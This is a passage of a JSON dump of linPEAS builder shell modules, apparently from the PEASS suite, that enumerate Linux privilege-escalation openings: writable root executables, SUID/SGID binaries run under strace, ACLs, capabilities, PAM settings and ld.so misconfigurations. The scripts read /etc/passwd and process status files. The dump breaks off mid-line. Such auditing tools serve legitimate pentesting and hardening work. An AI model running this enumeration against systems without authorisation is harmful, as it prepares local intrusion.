    "content": "# Title: Interesting Permissions Files - Writable root-owned executables\n# ID: IP_Writable_root_execs\n# Author: HT Bot\n# Last Update: 29-11-2025\n# Description: Locate root-owned executables outside home folders that the current user can modify\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1574.009,T1574.010\n# Functions Used: print_2title, print_info, echo_not_found\n# Global Variables: $DEBUG, $IAMROOT, $ROOT_FOLDER, $HOME, $writeVB\n# Initial Functions:\n# Generated Global Variables: $writable_root_execs\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif ! [ \"$IAMROOT\" ]; then\n  print_2title \"Writable root-owned executables I can modify (max 200)\" \"T1574.009,T1574.010\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files\"\n\n  writable_root_execs=$(\n    find \"$ROOT_FOLDER\" -type f -user root -perm -u=x \\\n      \\( -perm -g=w -o -perm -o=w \\) \\\n      ! -path \"/proc/*\" ! -path \"/sys/*\" ! -path \"/run/*\" ! -path \"/dev/*\" ! -path \"/snap/*\" ! -path \"$HOME/*\" 2>/dev/null \\\n      | while IFS= read -r f; do\n          if [ -w \"$f\" ]; then\n            ls -l \"$f\" 2>/dev/null\n          fi\n        done | head -n 200\n  )\n\n  if [ \"$writable_root_execs\" ] || [ \"$DEBUG\" ]; then\n    printf \"%s\\n\" \"$writable_root_execs\" | sed -${E} \"s,$writeVB,${SED_RED_YELLOW},\"\n  else\n    echo_not_found \"Writable root-owned executables\"\n  fi\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/1_SUID.sh",
    "content": "# Title: Interesting Permissions Files - SUID\n# ID: IP_SUID\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: SUID - Check easy privesc, exploits and write perms\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1548.001\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables: $IAMROOT, $LDD, $ROOT_FOLDER, $READELF, $sidB, $sidG1, $sidG2, $sidG3, $sidG4, $sidVB, $sidVB2, $STRACE, $STRINGS, $TIMEOUT, $Wfolders, $cfuncs\n# Initial Functions:\n# Generated Global Variables: $suids_files, $sname, $sline_first, $sline, $OLD_LD_LIBRARY_PATH, $LD_LIBRARY_PATH\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"SUID - Check easy privesc, exploits and write perms\" \"T1548.001\"\nprint_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid\"\nif ! [ \"$STRINGS\" ]; then\n  echo_not_found \"strings\"\nfi\nif ! [ \"$STRACE\" ]; then\n  echo_not_found \"strace\"\nfi\nsuids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path \"/dev/*\" 2>/dev/null)\nprintf \"%s\\n\" \"$suids_files\" | while read s; do\n  [ -z \"$s\" ] && continue\n  s=$(ls -lahtr \"$s\")\n  #If starts like \"total 332K\" then no SUID bin was found and xargs just executed \"ls\" in the current folder\n  if echo \"$s\" | grep -qE \"^total\"; then break; fi\n\n  sname=\"$(echo $s | awk '{print $9}')\"\n  if [ \"$sname\" = \".\"  ] || [ \"$sname\" = \"..\"  ]; then\n    true #Don't do nothing\n  elif ! [ \"$IAMROOT\" ] && [ -O \"$sname\" ]; then\n    echo \"You own the SUID file: $sname\" | sed -${E} \"s,.*,${SED_RED},\"\n  elif ! [ \"$IAMROOT\" ] && [ -w \"$sname\" ]; then #If write permision, win found (no check exploits)\n    echo \"You can write SUID file: $sname\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n  else\n    c=\"a\"\n    for b in $sidB; do\n      if echo \"$sname\" | grep -q $(echo $b | cut -d % -f 1); then\n        echo \"$s\" | sed -${E} \"s,$(echo $b | cut -d % -f 1),${C}[1;31m&  --->  $(echo $b | cut -d % -f 2)${C}[0m,\"\n        c=\"\"\n        break;\n      fi\n    done;\n    if [ \"$c\" ]; then\n      if echo \"$sname\" | grep -qE \"$sidG1\" || echo \"$sname\" | grep -qE \"$sidG2\" || echo \"$sname\" | grep -qE \"$sidG3\" || echo \"$sname\" | grep -qE \"$sidG4\" || echo \"$sname\" | grep -qE \"$sidVB\" || echo \"$sname\" | grep -qE \"$sidVB2\"; then\n        echo \"$s\" | sed -${E} \"s,$sidG1,${SED_GREEN},\" | sed -${E} \"s,$sidG2,${SED_GREEN},\" | sed -${E} \"s,$sidG3,${SED_GREEN},\" | sed -${E} \"s,$sidG4,${SED_GREEN},\" | sed -${E} \"s,$sidVB,${SED_RED_YELLOW},\" | sed -${E} \"s,$sidVB2,${SED_RED_YELLOW},\"\n      else\n        echo \"$s (Unknown SUID binary!)\" | sed -${E} \"s,/.*,${SED_RED},\"\n        printf $ITALIC\n        if ! [ \"$FAST\" ]; then\n          \n          if [ \"$STRINGS\" ]; then\n            $STRINGS \"$sname\" 2>/dev/null | sort | uniq | while read sline; do\n              sline_first=\"$(echo \"$sline\" | cut -d ' ' -f1)\"\n              if echo \"$sline_first\" | grep -qEv \"$cfuncs\"; then\n                if echo \"$sline_first\" | grep -q \"/\" && [ -f \"$sline_first\" ]; then #If a path\n                  if [ -O \"$sline_first\" ] || [ -w \"$sline_first\" ]; then #And modifiable\n                    printf \"$ITALIC  --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\\n\"\n                  fi\n                elif echo \"$sline_first\" | grep -q \"/\" && [ -d \"$(dirname \"$sline_first\")\" ] && [ -w \"$(dirname \"$sline_first\")\" ]; then #If path does not exist but can be created\n                  printf \"$ITALIC  --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can create it inside writable dir $RED$(dirname \"$sline_first\")$NC$ITALIC (strings line: $sline) (https://tinyurl.com/suidpath)\\n\"\n                else #If not a path\n                  if [ ${#sline_first} -gt 2 ] && command -v \"$sline_first\" 2>/dev/null | grep -q '/' && echo \"$sline_first\" | grep -Eqv \"\\.\\.\"; then #Check if existing binary\n                    printf \"$ITALIC  --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\\n\"\n                  fi\n                fi\n              fi\n            done\n          fi\n\n          if [ \"$LDD\" ] || [ \"$READELF\" ]; then\n            echo \"$ITALIC  --- Checking for writable dependencies of $sname...$NC\"\n          fi\n          if [ \"$LDD\" ]; then\n            \"$LDD\" \"$sname\" | grep -E \"$Wfolders\" | sed -${E} \"s,$Wfolders,${SED_RED_YELLOW},g\"\n          fi\n          if [ \"$READELF\" ]; then\n            \"$READELF\" -d \"$sname\" | grep PATH | sed -${E} \"s,$Wfolders,${SED_RED_YELLOW},g\"\n          fi\n          \n          if [ \"$TIMEOUT\" ] && [ \"$STRACE\" ] && [ -x \"$sname\" ]; then\n            printf $ITALIC\n            echo \"----------------------------------------------------------------------------------------\"\n            echo \"  --- Trying to execute $sname with strace in order to look for hijackable libraries...\"\n            OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH\n            export LD_LIBRARY_PATH=\"\"\n            timeout 2 \"$STRACE\" \"$sname\" 2>&1 | grep -i -E \"open|access|no such file\" | sed -${E} \"s,open|access|No such file,${SED_RED}$ITALIC,g\"\n            printf $NC\n            export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH\n            echo \"----------------------------------------------------------------------------------------\"\n            echo \"\"\n          fi\n        \n        fi\n      fi\n    fi\n  fi\ndone;\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/2_SGID.sh",
    "content": "# Title: Interesting Permissions Files - SGID\n# ID: IP_SGID\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: SGID\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1548.001\n# Functions Used: print_2title, print_info\n# Global Variables: $cfuncs, $IAMROOT, $LDD, $READELF, $ROOT_FOLDER, $sidB, $sidG1, $sidG2, $sidG3, $sidG4, $sidVB, $sidVB2, $STRACE, $STRINGS, $TIMEOUT, $Wfolders\n# Initial Functions:\n# Generated Global Variables: $sgids_files, $sname, $sline_first, $sline, $LD_LIBRARY_PATH, $OLD_LD_LIBRARY_PATH\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"SGID\" \"T1548.001\"\nprint_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid\"\nsgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path \"/dev/*\" 2>/dev/null)\nprintf \"%s\\n\" \"$sgids_files\" | while read s; do\n  [ -z \"$s\" ] && continue\n  s=$(ls -lahtr \"$s\")\n  #If starts like \"total 332K\" then no SUID bin was found and xargs just executed \"ls\" in the current folder\n  if echo \"$s\" | grep -qE \"^total\";then break; fi\n\n  sname=\"$(echo $s | awk '{print $9}')\"\n  if [ \"$sname\" = \".\"  ] || [ \"$sname\" = \"..\"  ]; then\n    true #Don't do nothing\n  elif ! [ \"$IAMROOT\" ] && [ -O \"$sname\" ]; then\n    echo \"You own the SGID file: $sname\" | sed -${E} \"s,.*,${SED_RED},\"\n  elif ! [ \"$IAMROOT\" ] && [ -w \"$sname\" ]; then #If write permision, win found (no check exploits)\n    echo \"You can write SGID file: $sname\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n  else\n    c=\"a\"\n    for b in $sidB; do\n      if echo \"$s\" | grep -q $(echo $b | cut -d % -f 1); then\n        echo \"$s\" | sed -${E} \"s,$(echo $b | cut -d % -f 1),${C}[1;31m&  --->  $(echo $b | cut -d % -f 2)${C}[0m,\"\n        c=\"\"\n        break;\n      fi\n    done;\n    if [ \"$c\" ]; then\n      if echo \"$s\" | grep -qE \"$sidG1\" || echo \"$s\" | grep -qE \"$sidG2\" || echo \"$s\" | grep -qE \"$sidG3\" || echo \"$s\" | grep -qE \"$sidG4\" || echo \"$s\" | grep -qE \"$sidVB\" || echo \"$s\" | grep -qE \"$sidVB2\"; then\n        echo \"$s\" | sed -${E} \"s,$sidG1,${SED_GREEN},\" | sed -${E} \"s,$sidG2,${SED_GREEN},\" | sed -${E} \"s,$sidG3,${SED_GREEN},\" | sed -${E} \"s,$sidG4,${SED_GREEN},\" | sed -${E} \"s,$sidVB,${SED_RED_YELLOW},\" | sed -${E} \"s,$sidVB2,${SED_RED_YELLOW},\"\n      else\n        echo \"$s (Unknown SGID binary)\" | sed -${E} \"s,/.*,${SED_RED},\"\n        printf $ITALIC\n        if ! [ \"$FAST\" ]; then\n        \n          if [ \"$STRINGS\" ]; then\n            $STRINGS \"$sname\" | sort | uniq | while read sline; do\n              sline_first=\"$(echo $sline | cut -d ' ' -f1)\"\n              if echo \"$sline_first\" | grep -qEv \"$cfuncs\"; then\n                if echo \"$sline_first\" | grep -q \"/\" && [ -f \"$sline_first\" ]; then #If a path\n                  if [ -O \"$sline_first\" ] || [ -w \"$sline_first\" ]; then #And modifiable\n                    printf \"$ITALIC  --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\\n\"\n                  fi\n                elif echo \"$sline_first\" | grep -q \"/\" && [ -d \"$(dirname \"$sline_first\")\" ] && [ -w \"$(dirname \"$sline_first\")\" ]; then #If path does not exist but can be created\n                  printf \"$ITALIC  --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can create it inside writable dir $RED$(dirname \"$sline_first\")$NC$ITALIC (strings line: $sline)\\n\"\n                else #If not a path\n                  if [ ${#sline_first} -gt 2 ] && command -v \"$sline_first\" 2>/dev/null | grep -q '/'; then #Check if existing binary\n                    printf \"$ITALIC  --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\\n\"\n                  fi\n                fi\n              fi\n            done\n          fi\n\n          if [ \"$LDD\" ] || [ \"$READELF\" ]; then\n            echo \"$ITALIC  --- Checking for writable dependencies of $sname...$NC\"\n          fi\n          if [ \"$LDD\" ]; then\n            \"$LDD\" \"$sname\" | grep -E \"$Wfolders\" | sed -${E} \"s,$Wfolders,${SED_RED_YELLOW},g\"\n          fi\n          if [ \"$READELF\" ]; then\n            \"$READELF\" -d \"$sname\" | grep PATH | grep -E \"$Wfolders\" | sed -${E} \"s,$Wfolders,${SED_RED_YELLOW},g\"\n          fi\n\n          if [ \"$TIMEOUT\" ] && [ \"$STRACE\" ] && [ -x \"$sname\" ]; then\n            printf $ITALIC\n            echo \"----------------------------------------------------------------------------------------\"\n            echo \"  --- Trying to execute $sname with strace in order to look for hijackable libraries...\"\n            OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH\n            export LD_LIBRARY_PATH=\"\"\n            timeout 2 \"$STRACE\" \"$sname\" 2>&1 | grep -i -E \"open|access|no such file\" | sed -${E} \"s,open|access|No such file,${SED_RED}$ITALIC,g\"\n            printf $NC\n            export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH\n            echo \"----------------------------------------------------------------------------------------\"\n            echo \"\"\n          fi\n        \n        fi\n      fi\n    fi\n  fi\ndone;\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/3_Files_ACLs.sh",
    "content": "# Title: Interesting Permissions Files - ACLs\n# ID: IP_Files_ACLs\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Files with ACLs \n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1222\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables: $HOMESEARCH, $knw_usrs, $MACPEAS, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $writeB, $writeVB\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"Files with ACLs (limited to 50)\" \"T1222\"\nprint_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#acls\"\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  ( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found \"files with acls in searched folders\" ) | head -n 70 | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},\" | sed \"s,$USER,${SED_RED},\" | sed -${E} \"s,$writeVB,${SED_RED_YELLOW},g\" | sed -${E} \"s,$writeB,${SED_RED},g\"\nelse\n  ( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found \"files with acls in searched folders\" ) | head -n 70 | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},\" | sed \"s,$USER,${SED_RED},\" | sed -${E} \"s,$writeVB,${SED_RED_YELLOW},g\" | sed -${E} \"s,$writeB,${SED_RED},g\"\nfi\n\nif [ \"$MACPEAS\" ] && ! [ \"$FAST\" ] && ! [ \"$SUPERFAST\" ] && ! [ \"$(command -v getfacl || echo -n '')\" ]; then  #Find ACL files in macos (veeeery slow)\n  ls -RAle / 2>/dev/null | grep -v \"group:everyone deny delete\" | grep -E -B1 \"\\d: \" | head -n 70 | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},\" | sed \"s,$USER,${SED_RED},\" | sed -${E} \"s,$writeVB,${SED_RED_YELLOW},g\" | sed -${E} \"s,$writeB,${SED_RED},g\"\nfi\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/4_Capabilities.sh",
    "content": "# Title: Interesting Permissions Files - Capabilities\n# ID: IP_Capabilities\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Capabilities\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1548.001\n# Functions Used: echo_not_found, print_2title, print_info, print_3title\n# Global Variables: $capsB, $capsVB, $IAMROOT, $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables: $cap_name, $cap_value, $cap_line, $capVB, $capname, $capbins, $capsVB_vuln, $proc_status, $proc_pid, $proc_name, $proc_uid, $user_name, $proc_inh, $proc_prm, $proc_eff, $proc_bnd, $proc_amb, $proc_inh_dec, $proc_prm_dec, $proc_eff_dec, $proc_bnd_dec, $proc_amb_dec\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Capabilities\" \"T1548.001\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities\"\n  if [ \"$(command -v capsh || echo -n '')\" ]; then\n    print_3title \"Current shell capabilities\" \"T1548.001\"\n    cat \"/proc/$$/status\" | grep Cap | while read -r cap_line; do\n      cap_name=$(echo \"$cap_line\" | awk '{print $1}')\n      cap_value=$(echo \"$cap_line\" | awk '{print $2}')\n      if [ \"$cap_name\" = \"CapEff:\" ]; then\n        # Add validation check for cap_value\n        # For more POSIX-compliant formatting, the following could be used instead:\n        # if echo \"$cap_value\" | grep -E '^[0-9a-fA-F]+$' > /dev/null 2>&1; then\n        if [[ \"$cap_value\" =~ ^[0-9a-fA-F]+$ ]]; then\n          # Memory errors can occur with certain values (e.g., ffffffffffffffff)\n          # so we redirect stderr to prevent error propagation\n          echo \"$cap_name\t $(capsh --decode=0x\"$cap_value\" 2>/dev/null | sed -${E} \"s,$capsB,${SED_RED_YELLOW},\")\"\n        else\n          echo \"$cap_name\t [Invalid capability format]\"\n        fi\n      else\n        # Add validation check for cap_value\n        if [[ \"$cap_value\" =~ ^[0-9a-fA-F]+$ ]]; then\n          # Memory errors can occur with certain values (e.g., ffffffffffffffff)\n          # so we redirect stderr to prevent error propagation\n          echo \"$cap_name  $(capsh --decode=0x\"$cap_value\" 2>/dev/null | sed -${E} \"s,$capsB,${SED_RED},\")\"\n        else\n          echo \"$cap_name  [Invalid capability format]\"\n        fi\n      fi\n    done\n    echo \"\"\n    print_info \"Parent process capabilities\"\n    cat \"/proc/$PPID/status\" | grep Cap | while read -r cap_line; do\n      cap_name=$(echo \"$cap_line\" | awk '{print $1}')\n      cap_value=$(echo \"$cap_line\" | awk '{print $2}')\n      if [ \"$cap_name\" = \"CapEff:\" ]; then\n        # Add validation check for cap_value\n        if [[ \"$cap_value\" =~ ^[0-9a-fA-F]+$ ]]; then\n          # Memory errors can occur with certain values (e.g., ffffffffffffffff)\n          # so we redirect stderr to prevent error propagation\n          echo \"$cap_name\t $(capsh --decode=0x\"$cap_value\" 2>/dev/null | sed -${E} \"s,$capsB,${SED_RED_YELLOW},\")\"\n        else\n          echo \"$cap_name\t [Invalid capability format]\"\n        fi\n      else\n        # Add validation check for cap_value\n        if [[ \"$cap_value\" =~ ^[0-9a-fA-F]+$ ]]; then\n          # Memory errors can occur with certain values (e.g., ffffffffffffffff)\n          # so we redirect stderr to prevent error propagation\n          echo \"$cap_name\t $(capsh --decode=0x\"$cap_value\" 2>/dev/null | sed -${E} \"s,$capsB,${SED_RED},\")\"\n        else\n          echo \"$cap_name\t [Invalid capability format]\"\n        fi\n      fi\n    done\n    echo \"\"\n\n    print_3title \"Processes with capability sets (non-zero CapEff/CapAmb, limit 40)\" \"T1548.001\"\n    find /proc -maxdepth 2 -path \"/proc/[0-9]*/status\" 2>/dev/null | head -n 400 | while read -r proc_status; do\n      proc_pid=$(echo \"$proc_status\" | cut -d/ -f3)\n      proc_name=$(awk '/^Name:/{print $2}' \"$proc_status\" 2>/dev/null)\n      proc_uid=$(awk '/^Uid:/{print $2}' \"$proc_status\" 2>/dev/null)\n      user_name=$(awk -F: -v uid=\"$proc_uid\" '$3==uid{print $1; exit}' /etc/passwd 2>/dev/null)\n      [ -z \"$user_name\" ] && user_name=\"$proc_uid\"\n\n      proc_inh=$(awk '/^CapInh:/{print $2}' \"$proc_status\" 2>/dev/null)\n      proc_prm=$(awk '/^CapPrm:/{print $2}' \"$proc_status\" 2>/dev/null)\n      proc_eff=$(awk '/^CapEff:/{print $2}' \"$proc_status\" 2>/dev/null)\n      proc_bnd=$(awk '/^CapBnd:/{print $2}' \"$proc_status\" 2>/dev/null)\n      proc_amb=$(awk '/^CapAmb:/{print $2}' \"$proc_status\" 2>/dev/null)\n\n      [ -z \"$proc_eff\" ] && continue\n      if [ \"$proc_eff\" != \"0000000000000000\" ] || [ \"$proc_amb\" != \"0000000000000000\" ]; then\n        echo \"PID $proc_pid ($proc_name) user=$user_name\"\n\n        proc_inh_dec=$(capsh --decode=0x\"$proc_inh\" 2>/dev/null)\n        proc_prm_dec=$(capsh --decode=0x\"$proc_prm\" 2>/dev/null)\n        proc_eff_dec=$(capsh --decode=0x\"$proc_eff\" 2>/dev/null)\n        proc_bnd_dec=$(capsh --decode=0x\"$proc_bnd\" 2>/dev/null)\n        proc_amb_dec=$(capsh --decode=0x\"$proc_amb\" 2>/dev/null)\n\n        echo \"  CapInh: $proc_inh_dec\" | sed -${E} \"s,$capsB,${SED_RED},g\"\n        echo \"  CapPrm: $proc_prm_dec\" | sed -${E} \"s,$capsB,${SED_RED},g\"\n        echo \"  CapEff: $proc_eff_dec\" | sed -${E} \"s,$capsB,${SED_RED_YELLOW},g\"\n        echo \"  CapBnd: $proc_bnd_dec\" | sed -${E} \"s,$capsB,${SED_RED},g\"\n        echo \"  CapAmb: $proc_amb_dec\" | sed -${E} \"s,$capsB,${SED_RED_YELLOW},g\"\n        echo \"\"\n      fi\n    done | head -n 240\n    echo \"\"\n  \n  else\n    print_3title \"Current shell capabilities\" \"T1548.001\"\n    (cat \"/proc/$$/status\" | grep Cap | sed -${E} \"s,.*0000000000000000|CapBnd:\t0000003fffffffff,${SED_GREEN},\") 2>/dev/null || echo_not_found \"/proc/$$/status\"\n    echo \"\"\n    \n    print_3title \"Parent proc capabilities\" \"T1548.001\"\n    (cat \"/proc/$PPID/status\" | grep Cap | sed -${E} \"s,.*0000000000000000|CapBnd:\t0000003fffffffff,${SED_GREEN},\") 2>/dev/null || echo_not_found \"/proc/$PPID/status\"\n    echo \"\"\n  fi\n  echo \"\"\n  echo \"Files with capabilities (limited to 50):\"\n  getcap -r / 2>/dev/null | head -n 50 | while read cb; do\n    capsVB_vuln=\"\"\n    \n    for capVB in $capsVB; do\n      capname=\"$(echo $capVB | cut -d ':' -f 1)\"\n      capbins=\"$(echo $capVB | cut -d ':' -f 2)\"\n      if [ \"$(echo $cb | grep -Ei $capname)\" ] && [ \"$(echo $cb | grep -E $capbins)\" ]; then\n        echo \"$cb\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n        capsVB_vuln=\"1\"\n        break\n      fi\n    done\n    \n    if ! [ \"$capsVB_vuln\" ]; then\n      echo \"$cb\" | sed -${E} \"s,$capsB,${SED_RED},\"\n    fi\n    if ! [ \"$IAMROOT\" ] && [ -w \"$(echo $cb | cut -d\" \" -f1)\" ]; then\n      echo \"$cb is writable\" | sed -${E} \"s,.*,${SED_RED},\"\n    fi\n  done\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/5_Users_with_capabilities.sh",
    "content": "# Title: Interesting Permissions Files - Users with capabilities\n# ID: IP_Users_with_capabilities\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Users with capabilities\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1548.001\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables: $capsB, $DEBUG, $knw_usrs, $nosh_usrs, $sh_usrs, $USER\n# Initial Functions:\n# Generated Global Variables: $pam_cap_lines\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ -f \"/etc/security/capability.conf\" ] || [ \"$DEBUG\" ] || grep -Rqs \"pam_cap\\.so\" /etc/pam.d /etc/pam.conf 2>/dev/null; then\n  print_2title \"Users with capabilities\" \"T1548.001\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities\"\n  if [ -f \"/etc/security/capability.conf\" ]; then\n    grep -v '^#\\|none\\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},\" | sed \"s,$USER,${SED_RED},\" | sed -${E} \"s,$capsB,${SED_RED},g\"\n  else echo_not_found \"/etc/security/capability.conf\"\n  fi\n  echo \"\"\n  print_info \"Checking if PAM loads pam_cap.so\"\n  pam_cap_lines=$(grep -RIn \"pam_cap\\.so\" /etc/pam.d /etc/pam.conf 2>/dev/null)\n  if [ \"$pam_cap_lines\" ]; then\n    printf \"%s\\n\" \"$pam_cap_lines\" | sed -${E} \"s,pam_cap\\\\.so,${SED_RED_YELLOW},g\"\n  else\n    echo_not_found \"pam_cap.so in /etc/pam.d or /etc/pam.conf\"\n  fi\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/6_Misconfigured_ldso.sh",
    "content": "# Title: Interesting Permissions Files - Misconfigured ld.so\n# ID: IP_Misconfigured_ldso\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Checking misconfigurations of ld.so\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1574.006\n# Functions Used: print_2title, print_info\n# Global Variables: $IAMROOT, $ITALIC, $SEARCH_IN_FOLDER, $USER, $Wfolders, $ldsoconfdG, $wgroups\n# Initial Functions:\n# Generated Global Variables: $ini_path, $fpath\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ] && ! [ \"$IAMROOT\" ]; then\n  print_2title \"Checking misconfigurations of ld.so\" \"T1574.006\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#ldso\"\n  if [ -f \"/etc/ld.so.conf\" ] && [ -w \"/etc/ld.so.conf\" ]; then \n    echo \"You have write privileges over /etc/ld.so.conf\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"; \n    printf $RED$ITALIC\"/etc/ld.so.conf\\n\"$NC;\n  else\n    printf $GREEN$ITALIC\"/etc/ld.so.conf\\n\"$NC;\n  fi\n\n  echo \"Content of /etc/ld.so.conf:\"\n  cat /etc/ld.so.conf 2>/dev/null | sed -${E} \"s,$Wfolders,${SED_RED_YELLOW},g\"\n\n  # Check each configured folder and include directives\n  cat /etc/ld.so.conf 2>/dev/null | while IFS= read -r l; do\n    l=$(echo \"$l\" | sed 's/#.*$//' | xargs 2>/dev/null)\n    [ -z \"$l\" ] && continue\n\n    if echo \"$l\" | grep -qE '^include[[:space:]]+'; then\n      ini_path=$(echo \"$l\" | cut -d \" \" -f 2)\n      fpath=$(dirname \"$ini_path\")\n\n      if [ -d \"$fpath\" ] && [ -w \"$fpath\" ]; then\n        echo \"You have write privileges over $fpath\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\";\n        printf $RED_YELLOW$ITALIC\"$fpath\\n\"$NC;\n      else\n        printf $GREEN$ITALIC\"$fpath\\n\"$NC;\n      fi\n\n      if [ \"$(find \"$fpath\" -type f '(' '(' -user \"$USER\" ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)\" ]; then\n        echo \"You have write privileges over $(find \"$fpath\" -type f '(' '(' -user \"$USER\" ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\";\n      fi\n\n      for f in $ini_path; do\n        [ -f \"$f\" ] || continue\n\n        if [ -w \"$f\" ]; then\n          echo \"You have write privileges over $f\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\";\n          printf $RED_YELLOW$ITALIC\"$f\\n\"$NC;\n        else\n          printf $GREEN$ITALIC\"  $f\\n\"$NC;\n        fi\n\n        cat \"$f\" 2>/dev/null | grep -v \"^#\" | while IFS= read -r l2; do\n          l2=$(echo \"$l2\" | xargs 2>/dev/null)\n          [ -z \"$l2\" ] && continue\n\n          if [ -d \"$l2\" ] && [ -w \"$l2\" ]; then\n            echo \"You have write privileges over $l2\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\";\n            printf $RED_YELLOW$ITALIC\"  - $l2\\n\"$NC;\n          elif [ -d \"$l2\" ]; then\n            echo $ITALIC\"  - $l2\"$NC | sed -${E} \"s,$ldsoconfdG,${SED_GREEN},g\" | sed -${E} \"s,$Wfolders,${SED_RED_YELLOW},g\";\n          fi\n        done\n      done\n    elif [ -d \"$l\" ] && [ -w \"$l\" ]; then\n      echo \"You have write privileges over $l\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\";\n      printf $RED_YELLOW$ITALIC\"$l\\n\"$NC;\n    else\n      echo $ITALIC\"$l\"$NC | sed -${E} \"s,$ldsoconfdG,${SED_GREEN},g\" | sed -${E} \"s,$Wfolders,${SED_RED_YELLOW},g\";\n    fi\n  done\n  echo \"\"\n\n\n  if [ -f \"/etc/ld.so.preload\" ] && [ -w \"/etc/ld.so.preload\" ]; then \n    echo \"You have write privileges over /etc/ld.so.preload\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"; \n  else\n    printf $ITALIC$GREEN\"/etc/ld.so.preload\\n\"$NC;\n  fi\n  cat /etc/ld.so.preload 2>/dev/null | sed -${E} \"s,$Wfolders,${SED_RED_YELLOW},g\"\n  cat /etc/ld.so.preload 2>/dev/null | while read l; 